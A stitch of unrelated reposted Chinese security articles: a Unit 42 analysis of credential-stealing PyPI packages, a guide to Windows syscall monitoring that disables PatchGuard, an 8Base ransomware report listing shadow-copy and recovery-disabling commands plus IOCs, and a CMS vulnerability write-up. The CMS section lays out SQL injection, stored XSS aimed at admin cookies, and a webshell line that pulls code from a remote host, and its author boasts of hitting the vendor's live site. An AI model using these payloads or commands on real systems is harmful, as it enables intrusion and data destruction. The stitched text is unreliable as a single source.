这套源码不仅仅这几个洞，大家可以练练手自己挖一下。其次本来想着放出来采集未收录违法站点工具的，但是后来想想，避免让“其他”安全人士误入歧途，也就此消除了这个想法。依旧水文一篇，望各位表哥多多指点！ 转载于原文链接： https://mp.weixin.qq.com/s/7R3OrGPmUesDz4YKuxoJjw

今年3月，Unit 42的研究人員在Python Package Index(PyPI)包管理器上發現了6個惡意包。惡意軟件包旨在竊取Windows用戶的應用程序憑據、個人數據和加密錢包的跟踪信息。該攻擊試圖模仿攻擊組織W4SP，該組織此前曾使用惡意軟件包發起過幾次供應鏈攻擊。 研究人員將討論攻擊者在開源生態系統中使用惡意包傳播惡意代碼的難易程度，他們觀察到的行為並不是由攻擊組織策劃的有組織的攻擊，而很可能是一個模仿者閱讀了以前攻擊的技術報告來執行他們自己的攻擊。 研究人員將描述Palo Alto Networks Prisma Cloud模塊使用的指標，這些指標識別了本文討論的惡意軟件包。 Palo Alto Networks的客戶可以通過Prisma Cloud獲得包含惡意代碼的開源軟件包的保護。 惡意軟件包是故意設計用於對計算機系統或其處理的數據造成損害的軟件組件。此類軟件包可以通過各種方式傳播，包括釣魚電子郵件、被攻擊的網站甚至合法的軟件存儲庫。 惡意軟件包可能會產生很大的破壞力，包括偷偷竊取敏感數據到導致系統中斷，甚至控制整個系統。此外，這些惡意軟件包具有傳播到其他互聯繫統的能力。因此，在進行軟件下載和安裝時，尤其是在源代碼不熟悉或不受信任的情況下，務必格外小心。 通過保持警惕和洞察力，用戶可以保護他們的系統，並防止攻擊者滲透到他們的技術環境。 在PyPI中發現新的惡意包2023年3月，Prisma Cloud研究人員在PyPI軟件包管理器上發現了6個針對Windows用戶的惡意軟件包。惡意軟件包旨在竊取應用程序憑據、個人數據和加密貨幣錢包信息。 研究人員的Prisma Cloud引擎，旨在檢測惡意PyPI包，發現幾個在短時間內上傳的具有可疑屬性的包： 這些軟件包缺少相關的GitHub存儲庫，它通常與合法軟件包一起使用。這可能表明希望從視圖中隱藏代碼。另外，再加上有限的下載量，進一步引起了研究人員的懷疑； 在執行時，這些包執行惡意操作，例如收集敏感數據並將其發送到第三方URL； 這些包包含一個惡意代碼模式，目前已檢測到了它； 因為包的開發者是新創建的，只上傳了一個包，並且沒有提供支持信息，例如到其他項目或任何存儲庫的鏈接，所以他們不被認為是有信譽的； 最後，包開發者的用戶名是在幾分鐘內創建的，遵循一個獨特的模式（例如，Anne1337、Richard1337），每個用戶名只上傳了一個包。 第二階段的攻擊與我們之前看到的W4SP攻擊群的攻擊相似。該組織專門利用開源生態系統中的漏洞，針對組織和傳播惡意軟件。他們的主要目標是獲得對敏感信息（如用戶憑據和財務數據）的未經授權的訪問權限。他們經常使用自動化工具來掃描漏洞並試圖利用它們。除了傳統攻擊外，W4SP攻擊者還執行供應鏈攻擊。 檢測結果Prisma Cloud引擎檢測到被標記為可能包含惡意代碼的包。每個包都包含一個指向可疑遠程URL的鏈接，試圖在單個用戶單獨上傳後下載內容。 每個上傳包的用戶的用戶名都是在上傳前創建的，之前沒有任何上傳包的歷史記錄。每個包都有數百次下載，直到研究人員的研究團隊報告了濫用行為，PyPI才將它們和上傳它們的欺詐性用戶帳戶刪除。 研究人員分析了代碼並試圖找到開發者。研究人員在每個包開發者的用戶名中發現了一個模式，他們使用“1337”作為後綴，這表明某些自動過程創建了這些用戶，下圖1顯示了其中一個用戶名的開發者頁面。 惡意包 PyPI的開發者頁面 自定義包入口點這次攻擊類似於研究人員之前看到的W4SP攻擊組織的攻擊，此文詳細介紹了這一攻擊。這些相似之處讓研究人員相信這是一次模仿。 但此次攻擊沒有真正的W4SP攻擊那麼複雜，例如： 沒有針對任何組織； 惡意軟件包沒有像W4SP攻擊所預期的那樣，使用常見流行軟件包的輸入錯誤； 第二階段的攻擊沒有加密，在來自W4SP的真正攻擊中，這個階段是加密的，這使得檢測更加困難； W4SP在以前的攻擊中使用的大部分代碼已經可以下載，因此可以很容易地訪問和重新利用； 在之前的攻擊中，W4SP 竊取程序作為從免費文件託管服務下載的第二階段有效載荷傳播，這使得攻擊者可以避免在包存儲庫中進行檢測。 這些包沒有包含明顯的惡意代碼，而是精心設計的，以具有在安裝或執行過程中觸發的特定入口點。通過利用免費文件託管服務和自定義入口點，攻擊者的目標是不被發現，這對負責檢測和防禦此類攻擊的安全專業人員和研究人員構成了重大挑戰。 這些攻擊很容易實現，並且可以在幾乎沒有安全專業知識的情況下發起。但是，它們可能非常有效，因為安裝過程會自動執行攻擊，而不是在使用導入模塊時需要攻擊者發起攻擊。 當軟件開發人員想要使用Python包時，他們必須執行兩個操作。第一個步是安裝包，第二個步是在代碼中導入或聲明以使用它。正如接下來討論的那樣，攻擊代碼實際上是從安裝文件(setup.py)中開始的，這意味著在安裝包期間已經執行了攻擊。 在研究人員調查的示例中，攻擊者稱自己為@EVIL$竊取程序。然而，該名稱隨著每次攻擊而改變。以下是代碼簽名中的名稱集合： ANGEL竊取程序 Celestial竊取程序 Fade竊取程序 Leaf $tealer PURE竊取程序 Satan竊取程序 @skid 竊取程序 惡意代碼setup.py文件在所有包中都是相同的，並且包含以下代碼片段，用於在執行之前從遠程URL下載內容： Setup.py（第一階段）惡意代碼 上圖顯示了以下活動： 1.攻擊者使用_ffile對象創建臨時文件，並使用write方法寫入文件的內容，使用帶有NamedTemporaryFile函數的臨時文件是一種眾所周知的技術，可以隱藏惡意代碼，使其不被殺毒軟件或其他安全措施檢測到； 2.文件的內容是通過使用urlopen函數從urllib下載URL的內容獲得的。請求模塊，然後使用exec函數執行文件的內容； 3.在寫完臨時文件的內容後，將關閉該文件，並嘗試在系統shell中使用start命令執行它。如果成功，將調用setup函數來創建包。然後攻擊者使用start命令啟動Python引擎的可執行文件(pythonw.exe)，之後這個可執行文件將執行作為參數傳遞的腳本文件。由於該惡意軟件包針對Windows用戶，如果腳本文件未簽名，則不會受到SmartScreen (Windows安全功能，用於檢測和防止潛在惡意文件的執行)或簽名檢查的影響。這意味著它將在目標計算機上執行惡意代碼，即使目標計算機啟用了SmartScreen和簽名檢查。 第二階段：W4SP竊取程序根據研究人員的研究，在第二階段，攻擊者使用了配置版本的W4SP竊取程序1.1.6。這個版本類似於以前的版本，其中代碼導入了幾個庫，包括requests, Crypto.Cipher, json和sqlite3。然後，它使用各種技術提取和解密存儲的瀏覽器憑據，包括密碼和cookie，並將這些信息發送到Discordwebhook。 代碼的主體定義了一個類DATA_BLOB，用於存儲CryptUnprotectData函數的數據。此函數用於解密受Windows數據保護API（DPAPI）保護的值，該值用於存儲密碼和API密鑰等敏感數據。代碼嘗試使用CryptUnprotectData和DecryptValue函數解密一個值，然後通過Discord webhook將其發送到遠程服務器，如下圖所示。 嘗試解密Windows數據保護API（DPAPI）保護的值 下圖顯示了攻擊者試圖收集受害者信息的幾個惡意代碼示例。如下圖所示，攻擊者試圖收集受害者的信息，包括IP地址、用戶名、國家/地區代碼。 檢索有關用戶IP地址、位置和用戶名等信息的代碼 在下圖中，攻擊者與Discord API交互，以檢索用戶的好友列表並提取有關他們自己的標識信息。 用於在Discord上檢索用戶好友列表的代碼 在稍後的代碼中，他們嘗試使用事先準備好的Discord webhook，然後嘗試通過HTTP請求將受害者信息發送到相關的Discord通道。 Discord webhook 最後，如下圖所示，攻擊者試圖驗證受害者的設備是否適合執行攻擊。如果確定該設備是合適的，則DETECTED變量將被設置為true，並且來自受害者設備的信息將被發送到遠程服務器。 搜索Cookie的代碼 PyPI作為一個上傳惡意軟件包的便捷平台PyPI是一個備受信賴且廣受歡迎的存儲庫，擁有數量驚人的Python包，在PyPI領域內，出現了一個令人擔憂的現實。該存儲庫無與倫比的受歡迎程度無意中成了攻擊者使用的對象，他們試圖通過秘密傳播惡意軟件包來利用其龐大的用戶群。 這種令人不安的趨勢對安全提出了一個重大挑戰，因為PyPI的去中心化性質使監測和檢測這些惡意對象成為一項艱鉅的工作。成為此類惡意軟件包受害者的後果會對毫無戒心的用戶和企業造成嚴重後果，例如數據、憑證或加密被盜。因此，加強PyPI包的安全性是至關重要的。 PyPI於2023年5月20日宣布，由於平台上惡意活動，惡意用戶和項目的增加，他們暫時停止註冊和上傳新軟件包。 凍結新用戶和項目註冊的決定反映了像PyPI這樣的軟件註冊中心面臨的安全挑戰，因為它們已經成為尋求篡改軟件供應鏈攻擊者的目標。 總結開源軟件的興起和普及以及包管理器的激增，使攻擊者比以往任何時候都更容易將這些危險的包植入用戶的系統。隨著軟件在我們日常生活中越來越普遍，惡意軟件包的威脅變得更加嚴重。攻擊者可以將這些軟件包偽裝成合法軟件，並利用毫無戒心的系統中的漏洞，造成數據盜竊、系統關閉和網絡控制等重大損害。 為了防禦這種威脅，軟件開發人員和組織必須在開發過程中優先考慮軟件安全性。增加了安全措施，例如代碼審查、自動化測試和滲透測試，可以幫助在部署之前識別和修復漏洞。此外，保持最新的安全補丁和更新可以防止攻擊者利用已知的漏洞。 除了技術措施外，提高對軟件安全的認識和教育也有助於防禦惡意軟件包的風險。為開發人員、IT人員和最終用戶提供關於最佳安全實踐的定期培訓很有必要。安全專業人員、開發人員和用戶共同努力以確保識別並防止惡意軟件包對系統和網絡造成損害。

監視系統調用(syscall) 和分析系統行為可以幫助您調試產品並提高其性能、安全性和合規性。然而，由於缺乏內置工具以及需要逆向工程和應用程序行為分析的專業知識，監視Windows 中的系統調用面臨著挑戰。 在本文中，我們討論在Windows 中監視系統調用的一些核心方法。 監控Windows 中的系統調用：查看內容以及原因係統調用是一種使程序能夠從操作系統內核請求各種類型的服務和任務的機制。系統調用為用戶級程序訪問系統資源提供了一種安全且受控的方式，而不會影響操作系統(OS) 的穩定性或安全性。當執行請求的操作時，系統調用在用戶模式和內核模式之間轉移控制。 系統調用是ring-0/ring-3隔離的標準部分。讓我們仔細看看。 在操作系統中，有兩種代碼環境：以完全權限運行的內核代碼（環0） 以有限權限運行的用戶代碼（環3） 在這些環境之間，有一個系統調用接口。 環0 和環3 之間的劃分（內核級別和用戶級別）是觀察應用程序行為和原始操作的最佳點。當代碼達到系統調用級別時，應用程序無法混淆其操作。例如，如果用戶級代碼秘密調用CreateFile()函數，您仍然可以通過監視系統調用來檢測到這一點，因為您將看到NtCreateFile 系統調用的執行。 對於大多數流行的體系結構，包括x86、AMD64、ARM64 和PowerPC，處理系統調用的方法是相同的：在用戶級別，一組系統API 充當系統調用的包裝器。 在內核級別，內核API 實現系統調用的處理程序並由內核驅動程序使用。 在某些體系結構中，系統調用稱為系統服務。 Windows 中系統調用的常見示例包括：文件輸入/輸出(I/O) 操作，例如讀取或寫入文件 流程管理，例如創建新流程或終止現有流程 內存管理，例如分配內存 進程間通信，例如在進程之間發送或接收消息 設備驅動程序操作，例如向硬件設備發送命令 為什麼您的開發人員需要監視系統調用？ Windows 系統調用監控對於研究多層軟件和分析具有混淆代碼的應用程序的行為至關重要。使用這種方法，您可以確定特定應用程序的行為方式，而無需分析應用程序每個級別的代碼。 監控系統調用的常見原因包括：調試—— 跟踪應用程序中的問題，確定其根本原因，并快速修復錯誤。 性能優化——識別瓶頸並優化有問題的代碼部分以提高整體性能。 安全——檢測可疑的、潛在的惡意行為，並採取措施阻止其發生。 合規性——通過分析應用程序訪問和使用特定類型數據的方式，確保應用程序符合相關要求。 然而，在實踐中應用這種方法面臨著多重挑戰。它需要深入了解操作系統的細節以及逆向工程和應用程序行為分析的利基知識。在下一節中，我們將根據Apriorit 專家的經驗，討論開發人員在嘗試監視Windows 中的系統調用時可能面臨的關鍵問題。 Windows 中的系統調用監控挑戰與Linux 具有用於監視任何進程中的系統調用的strace工具相比，Windows 由於安全原因沒有用於此任務的內置工具。然而，在Windows XP 之前，任何需要監視或控制用戶級代碼的軟件（例如防病毒軟件）都可以在兩個表中設置掛鉤： 系統服務描述符表（SSDT） 影子系統服務描述符表（影子SSDT） 這些表包含指向處理特定係統調用的內核函數的指針。 在SSDT 和Shadow SSDT 中設置掛鉤會導致大量衝突和不穩定，導致Windows 聲譽受損，並使其看起來像一個不可靠的操作系統。除此之外，rootkit 和病毒還能夠在SSDT 和Shadow SSDT 中設置掛鉤。這就是為什麼微軟被迫阻止對這些表的訪問，並且從Windows XP開始，實施了PatchGuard，也稱為內核補丁保護。從那時起，系統監控工具只能為一小部分內核事件設置回調，這使得系統調用的監控變得非常具有挑戰性。 下面，我們討論如何監視Windows 中的系統調用，並解釋一種安全有效的方法來分析Windows 中的程序行為。 使用XPerf 監控Windows 系統調用在Windows XP 中，Microsoft 引入了Windows 事件跟踪(ETW)機制，用於XPerf工具使用的詳細事件日誌記錄。後者現在是Windows Performance Toolkit的一部分。 一般來說，微軟將ETW 回調放置在整個Windows 子系統中，以便能夠跟踪低級事件。使用ETW，您可以獲取系統事件，因此XPerf 對於監視系統調用也可能很有用。 讓我們看看如何使用XPerf 來監視Windows 中的系統調用。 首先，我們查詢ETW 提供者，看看是否有與系統調用相關的內容： logman.exequeryproviders在我們從XPerf 收到的信息中，沒有任何看起來像系統調用的內容。轉到TraceView 並監視名稱如Microsoft-Windows-Kernel-* 的內核提供程序事件，也為我們帶來了各種類型的內核事件，但沒有有關係統調用的結果。 下一個可能性是使用SystemTraceProvider一個跟踪內核事件的內核提供程序。將這個提供程序的GUID 添加到TraceView 後，我們仍然沒有結果。 為了尋找設置掛鉤的可能替代方案，我們嘗試了不同的方法來監視Windows 中的系統調用，包括通過虛擬機管理程序掛鉤SSDT 函數以及使用Windows 事件跟踪的未記錄部分。 使用Syscall Monitor 和InfinityHook 監控Windows 系統調用為了尋找替代解決方案，我們決定研究一下記錄較少的監控系統調用的方法。 免責聲明：以下操作僅用於研究目的。 在研究了幾種可能性之後，我們在GitHub 上發現了兩個有前途的項目：系統調用監視器 無限鉤 讓我們從測試Syscall Monitor 工具開始。該項目使用虛擬機擴展通過虛擬機管理程序掛鉤SSDT 功能。該方法本身有效，使得監視Windows 中的系統調用成為可能。不幸的是，作者決定實現該工具作為ProcessMonitor的替代品。因此，Syscall Monitor 的能力有限，只能監控一小部分系統調用： 屏幕截圖1. 使用Syscall Monitor 的結果 總而言之，Syscall Monitor 是一個很好的工具，可以幫助您開始研究SSDT 掛鉤，但如果您想監視圖形設備接口(GDI) 系統調用等內容，則該工具就沒用了。 現在，讓我們繼續測試InfinityHook 工具的使用。根據該工具的描述，在使用它之前，您需要了解ETW的基礎知識。 為了監視Windows 中的系統調用，InfinityHook 在系統調用處理程序的內核代碼中使用ETW 跟踪的未記錄部分。值得注意的是，該項目無法輕鬆地開箱即用，我們必須在設法運行代碼之前實現一些細微的更改。然而，結果我們得到了BSOD： 屏幕截圖2. 使用InfinityHook 工具的結果 從上面的屏幕截圖中可以看到，我們收到一條錯誤消息，內容為“停止代碼：KERNEL_SECURITY_CHECK_FAILURE”。此消息意味著內核補丁保護已被觸發。顯然，最新版本的Windows 保護內核ETW 提供程序回調免受修改，因此為了監視Windows 系統調用，我們需要禁用PatchGuard。 在Windows 10 中禁用PatchGuard 的一種方法是使用EfiGuard項目。按照GitHub 的說明，我們使用軟盤映像啟動Windows 10 的VMWare 實例，用於此類研究和實驗： 屏幕截圖3. 使用EfiGuard 工具的結果 我們嘗試了幾種不同的驅動程序簽名強制繞過方法，但結果仍然相同- 我們仍然遇到由內核補丁保護觸發的BSOD。經過進一步調查，我們確定EfiGuard 在不同的Windows 版本上成功運行- 具體來說，Windows 10 版本1511。 然後，我們創建了一個新的VMWare 映像，並在其上安裝了Windows 10 build 1511，並嘗試使用EfiGuard 再次禁用PatchGuard。這一次，我們的嘗試成功了，我們終於成功運行了InfinityHook項目。 InfinityHook 使用DbgPrint() 函數打印有關來自驅動程序的系統調用的信息。因此，我們需要使用DebugView工具來查看其日誌。 屏幕截圖4. InfinityHook 中的系統調用監控結果 從上面的截圖可以看出，InfinityHook提供了以下數據：系統調用索引 EPROCESS值 系統調用的堆棧指針 索引超過4000 的系統調用是GDI 調用。為了正確地將索引映射到系統調用的名稱，您需要知道與您的計算機運行的內核版本相關的系統調用索引。您還可以嘗試使用互聯網上提供的系統調用表之一進行進一步研究。 然而，由於這種方法需要額外的努力，我們嘗試尋找一種更方便、更安全的方法來監視Windows 中的系統調用。在下一節中，我們將詳細討論如何使用DTrace 來監視Windows 系統調用。 使用DTrace 監控Windows 系統調用DTrace是一個動態跟踪框架，允許開發人員在用戶模式和內核模式下實時分析系統行為。該框架最初由Sun Microsystems 為Solaris 操作系統開發，後來移植到其他類Unix 操作系統，例如macOS和Linux。 目前，微軟還支持DTrace，使開發人員和軟件研究人員能夠監控從Windows 10 Build 1903開始的64位平台上的系統調用。但是，該工具只能捕獲64位進程的痕跡。 GitHub 上的DTraceon Windows頁麵包含有關如何安裝它的易於遵循的說明，因此我們將在概述中省略這部分。 默認情況下，系統將DTrace 放置在C:\Program Files\DTrace文件夾中。要使用它，您需要以管理員身份運行以下命令： dtrace-lnsyscall:運行此命令後，DTrace 應打印系統中可用於監視的系統調用列表。 注意：每個系統調用都會打印兩次，因為您可以監視系統調用參數及其返回值。 接下來，運行以下用D語言編寫的腳本繼續進行系統調用監控： syscall:/pid==9140/{printf('%scalled\n',execname);}這個特定的腳本打印PID=9140 的進程的所有系統調用。通過更改PID，您可以監視您感興趣的任何其他進程的系統調用。 將腳本保存為test.d 文件，然後您可以使用簡單的命令運行它： Dtrace-stest.d要了解其工作原理，讓我們運行記事本腳本。我們收到以下結果： 屏幕截圖5. 使用DTrace 監控記事本系統調用 您可以隨時按Ctrl+C停止使用DTrace 監視Windows 系統調用。 要了解有關使用DTrace 腳本和可能的系統監控方法的更多信息，您可以探索Microsoft 在DTrace GitHub 頁面上提供的示例。 結論監視系統調用可以提供有關應用程序行為和性能的寶貴見解，從而幫助開發人員創建更可靠、更高效、更安全的應用程序。要監視Windows 中的系統調用，可以使用Microsoft 官方支持的DTrace 實現。

儘管8Base勒索軟件組織在2023年夏天的活動突然猖獗起來，但仍然相對不為人所知。該組織結合利用加密和“點名羞辱”技術，迫使受害者支付贖金。 8Base採用伺機下手的攻擊模式，最近的受害者遍及各行各業。儘管有大量的攻擊活動，但這些事件背後的身份、方法和潛在動機等方面的信息依然成謎。 8Base當前活動的速度和效率並不表明一個新組織開始問世，而是一家老牌的成熟組織在延續。從目前獲得的信息來看，8Base當前活動的某些方面與我們過去所看到的勒索軟件活動似乎驚人地相似。 8Base勒索軟件：我們所知道的情況 圖1. 8Base勒索軟件組織洩露網站的截圖 8Base是一個勒索軟件組織，自2022年3月以來一直很活躍，在2023年6月活動尤為猖獗。他們自稱是“簡單的滲透測試者”，他們的洩露網站通過常見問題解答（FAQ）和規則這兩部分為受害者提供了詳細信息，並附有多個聯繫方式。值得關注的是，8Base使用的措辭風格與另一家知名組織RansomHouse的措辭異常相似。 圖2. 表明2022年3月至2023年6月8Base勒索軟件組織活動的示意圖 洩露網站上提供的聯繫信息包括如下： Telegram頻道：https://t[.]me/eightbase Twitter：@8BaseHome 圖3. 8Base勒索軟件組織Twitter的截圖 8Base勒索軟件組織攻擊的主要行業包括但不限於：商業服務、金融、製造和信息技術業。 圖4. 表明8Base勒索軟件組織攻擊的主要行業的示意圖 雖然8Base勒索軟件組織不一定是一家新組織，但最近活動猖獗卻備受矚目。即使在過去的30天內，它也是戰果最豐碩的兩大勒索軟件組織之一。除了勒索函外，公眾對8Base使用的勒索軟件種類知之甚少，只知道它在加密文件後面添加擴展名“.8base”。 圖5. 對比8Base勒索軟件組織與其他已知勒索軟件組織的受害者統計數據的示意圖 VMware Carbon Black的TAU和MDR-POC團隊進行分析後披露了令人關注的發現結果，並提出了問題：“到底是誰的贖金？” “誰在勒索？”之謎8Base和RansomHouse我們在剖析8Base時注意到這個組織與另一個組織RansomHouse頗為相似。 RansomHouse是不是一個真正的勒索軟件組織還有待爭論；該組織購買已經洩露的數據，與數據洩露網站狼狽為奸，然後向受害者勒索錢財。 第一個相似之處是在使用自然語言處理模型Doc2Vec對比勒索函的過程中發現的。 Doc2Vec是一種無監督機器學習算法，可以將文檔轉換成向量，可用於識別文檔中的相似性。對比後發現，8Base的勒索函與RansomHouse的勒索函存在99%的匹配度。為了進行比較，我們在下面提供了勒索函的部分內容： 圖6. 8Base（藍色）與RansomHouse（紅色）勒索函的對比 深入研究後，我們對各自的洩露網站進行了橫向比較。我們再次發現兩者所用的措辭如出一轍。 圖7. 8Base（藍色）和RansomHouse（紅色）歡迎頁面的對比 措辭是從RansomHouse的歡迎頁面逐字逐句複製到8Base的歡迎頁面的。兩者的服務條款頁面和常見問題解答（FAQ）頁面也是這種情況，如下所示： 圖8. 8Base（藍色）與RansomHouse（紅色）服務條款頁面的對比 圖9. 8Base（藍色）與RansomHouse（紅色）FAQ頁面的對比 比較這兩個勒索軟件組織後，發現只有兩大區別：首先，RansomHouse宣傳合作夥伴關係，並公開招募合作夥伴，而8Base則不然。 圖10. RansomHouse合作夥伴頁面 這兩個勒索軟件組織之間的第二大區別在於洩露頁面，如下所示： 圖11. RansomHouse（紅色）和8Base（藍色）洩露頁面 考慮到兩者之間的相似性，我們不禁要問：8Base有沒有可能是RansomHouse的分支還是模仿者。遺憾的是，RansomHouse以使用黑市上各種各樣的勒索軟件而臭名昭著，沒有自己的標誌性勒索軟件，因而很難比較。值得關注的是，我們在研究8Base時也沒能找到一個勒索軟件的變種。我們偶然發現了兩份截然不同的勒索函：一份與RansomHouse的相符，另一份與Phobos的相符。這就引出了一個問題：如果8Base與RansomHouse一樣也由使用不同的勒索軟件來運營，那麼8Base就是RansomHouse的分支嗎？ 8Base和Phobos勒索軟件當搜索8Base勒索軟件組織使用的勒索軟件樣本時，加密文件上使用“.8base”擴展名的Phobos樣本被恢復。這可能是他們將要使用的勒索軟件的早期版本，還是8Base使用勒索軟件變種來攻擊受害者？比較Phobos和8Base樣本後發現，8Base使用的是Phobos勒索軟件版本2.9.1，SmokeLoader用於入站初始混淆以及勒索軟件的解包和加載。由於Phobos勒索軟件可通過勒索軟件即服務（RAAS）來獲取，這不足為奇。從8Base的勒索函可以看出，攻擊者可以根據其要求來定制部分內容。雖然勒索函很相似，但關鍵的區別包括：Phobos勒索軟件的上下兩個角落都有Jabber指令和“phobos”，而8Base在上角有“cartilage”、紫色背景，沒有Jabber指示，如下圖所示： 圖12. 8Base（藍色）與Phobos（紅色）勒索函的對比 儘管8Base添加了自己的品牌定制，為加密文件附加了“.8base”，但整個附加部分的格式與Phobos相同，包括ID部分、電子郵件地址以及文件擴展名。 圖13. 8Base（藍色）和Phobos（紅色）件擴展名的對比 似乎是8Base勒索軟件組織獨有的其他分析結果包括：8Base樣本是從域名admlogs25[.]xyz下載的，該域名似乎與SystemBC這個代理和遠程管理工具相關聯。 SystemBC已被其他勒索軟件組織用來加密和隱藏攻擊者的指揮和控制流量的目的地。 VMware Carbon Black Detection作為一款端點檢測和響應產品，VMware Carbon Black Managed Detection and Response可以有效地檢測勒索軟件和類似勒索軟件的行為。我們在文章末尾附有攻陷指標部分，可以用於創建檢測和防止8Base勒索軟件執行的規則。 VMware Carbon Black有一個活躍的規則集，用於檢測所有勒索軟件類型的惡意軟件。該規則集足以檢測和防止惡意軟件，並為客戶提供主動保護。建議活躍的客戶確保啟用該規則集。 當然，從一開始就試圖阻止勒索軟件運行很重要。正如報告中所述，8Base使用SystemBC來加密指揮和控制流量，並使用Smokeloader，以便入站初始混淆勒索軟件、完成Phobos勒索軟件的解包和加載。防止這種活動的建議包括如下： 警惕網絡釣魚郵件：許多附有Smokeloader的威脅是通過網絡釣魚郵件投遞的。確保員工了解網絡釣魚電子郵件技術是做好防範工作的關鍵。 確保正確配置網絡監控工具（SIEM解決方案），以防止任何惡意軟件連接到指揮和控制服務器。攻陷指標部分附有域名。 下面所附的攻陷指標對於尋找威脅搜尋而言非常有價值。這些指標是識別潛在安全漏洞和惡意活動的必要工具。如果充分利用這些指標，安全專業人員就能積極主動地調查和消除威脅，並確保系統的完整性和安全性。如果謹慎地搜索威脅和利用這些指標，組織就可以提前防範潛在風險，並保持強大的安全態勢。 總結考慮到8Base的性質，我們目前只能推測他們在使用幾種不同類型的勒索軟件——要么是早期變種，要么是正常活動程序的一部分。我們只知道，這個組織非常活躍，找小企業下手。 8Base到底是Phobos還是RansomHouse的分支還有待觀察。值得關注的是，8Base與RansomHouse幾乎相同，並使用Phobos勒索軟件。目前，8Base仍然是今年這個夏天最活躍的勒索軟件組織之一。 MITRE ATTCK威脅知情防禦（TID）： 戰術 技術 描述 TA0003 持久性 T1547.001註冊表運行鍵/啟動文件夾 添加以下內容： %AppData%\Local\{malware}%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\{malware}%AppData%\Roaming\Microsoft\Start Menu\Programs\Startup\{malware} TA0007 發現 T1135網絡共享發現 使用WNetEnumResource()搜索網絡資源 TA0004 特權提升 T1134.001令牌冒充/盜竊 使用DuplicateToken()調整令牌特權 TA0005 防禦規避 T1562.001禁用或篡改工具 終止一長串進程，這些進程結合了常用的應用程序（比如MS Office應用程序）和安全軟件 TA0005 防禦規避 T1027.002 經過混淆處理的文件或信息：軟件打包 SmokeLoader解包Phobos並加載到內存中 TA0040 影響 T1490阻止 系統恢復 運行： wmic shadowcopy delete wbadmin delete catalog -quiet vssadmin delete shadows /all /quiet bcdedit /set {default} recoveryenabled no bcdedit /set {default} bootstatuspolicy ignoreallfailures TA0040 影響 T1486數據加密影響 使用AES加密文件 攻陷指標指標 類型 上下文 518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c SHA-256 8Base 勒索軟件（Phobos變種） 5BA74A5693F4810A8EB9B9EEB1D69D943CF5BBC46F319A32802C23C7654194B0 SHA-256 8Base勒索函（RansomHouse 變種） 20110FF550A2290C5992A5BB6BB44056 MD5 8Base勒索函（RansomHouse 變種） 3D2B088A397E9C7E9AD130E178F885FEEBD9688B SHA-1 8Base勒索函（RansomHouse 變種） e142f4e8eb3fb4323fb377138f53db66e3e6ec9e82930f4b23dd91a5f7bd45d0 SHA-256 8Base勒索軟件（Phobos變種） 5d0f447f4ccc89d7d79c0565372195240cdfa25f SHA-1 8Base勒索軟件（Phobos變種） 9769c181ecef69544bbb2f974b8c0e10 MD5 8Base勒索軟件（Phobos變種） C6BD5B8E14551EB899BBE4DECB6942581D28B2A42B159146BBC28316E6E14A64 SHA-256 8Base勒索軟件（Phobos變種） 518544E56E8CCEE401FFA1B0A01A10CE23E49EC21EC441C6C7C3951B01C1B19C SHA-256 8Base勒索軟件（Phobos變種） AFDDEC37CDC1D196A1136E2252E925C0DCFE587963069D78775E0F174AE9CFE3 SHA-256 8Base勒索軟件（Phobos變種） wlaexfpxrs[.]org 將數據發佈到URL 8Base勒索軟件引薦域名（Phobos變種） admhexlogs25[.]xyz 向URL發送數據獲取請求 8Base勒索軟件引薦域名 admlogs25[.]xyz 向URL發送數據獲取請求 8Base勒索軟件引薦域名 admlog2[.]xyz 向URL發送數據獲取請求 8Base勒索軟件引薦域名 dnm777[.]xyz 向URL發送數據獲取請求 8Base勒索軟件引薦域名 serverlogs37[.]xyz 將數據發佈到URL 8Base勒索軟件引薦域名 9f1a.exe 文件名 8Base勒索軟件投放的文件 d6ff.exe 文件名 8Base勒索軟件投放的文件 3c1e.exe 文件名 8Base勒索軟件投放的文件 dexblog[.]xyz 向URL發送數據獲取請求 8Base勒索軟件引薦域名 blogstat355[.]xyz 向URL發送數據獲取請求 8Base勒索軟件引薦域名 blogstatserv25[.]xyz 向URL發送數據獲取請求 8Base勒索軟件引薦域名

一、目录结构 首先我们先看一下结构，system文件夹下有相关代码。我直接给大家看一下漏洞吧。 二、审计出洞1、购物车异步获取信息 - SQL注入 system\modules\member\cart.action.php 虽然本身是过滤单引号但是在这里并没有用单引号保护起来所以这里是一个注入，并且没有验证用户身份，从站外未登陆的情况下即可进行注入。 直接官网哈哈哈哈！！！！ 2、BOM插件 - 目录遍历 system/plugin/bom/bom.plugin.php 直接访问即可，后台即便是改了也没什么事情，照样刚！ 3、我的晒单 - 存储型XSS（可打到管理员Cookie） 由于这套CMS出来的较早了，在此之前被许多小黑挖掘过XSS漏洞，但是....我这个XSS貌似也是0day 哈哈哈需要晒单功能这里给大家演示一下先走一遍流程 添加晒图 把图片地址改成我们的XSS语句 fileurl_tmp参数 这时候便把IMG标签闭合了弹出了1 （触发在后台管理的“晒单查看”） 4、上传配置 - 后台Getshell 可能有些人看到后台有上传的地方，其实这些个上传是没有办法利用的。虽然你可以在后台改格式白名单但是依旧提不下。这时候呢....插马呗！！~~ 由于他过滤单引号所以这里就不带上单引号了。 允许上传类型处，写上pyload 提交完就完事了~~ 通过copy函数远程写个马就完事了 5、后台验证码存在缺陷 默认账户admin 这一串MD5值就是对应的验证码的值，此处可以调用接口进行爆破。也是个小小的缺陷吧 6、组合拳Getshell - CSRF+XSS 我们直接用XSS嵌套一个html页面，然后模拟所有的操作就完事了从修改upload格式插马开始到模拟访问 [/index.php/admin/setting/upload?c=copy("http://www.xxx.com/shell.txt","../inc.php"); 直接一些列打过去就完事儿了实在不放心就在最后模拟添加一个管理员就阔以了。 这套CMS并没有过滤CSRF攻击，我也不截图了各位表哥的姿势比我骚，哇嘎嘎嘎嘎嘎嘎....需要源码可以跟我说一下（好累喔） 转载于原文链接： https://mp.weixin.qq.com/s/8OTU9yQ3pxj6k2QpbEzNRA

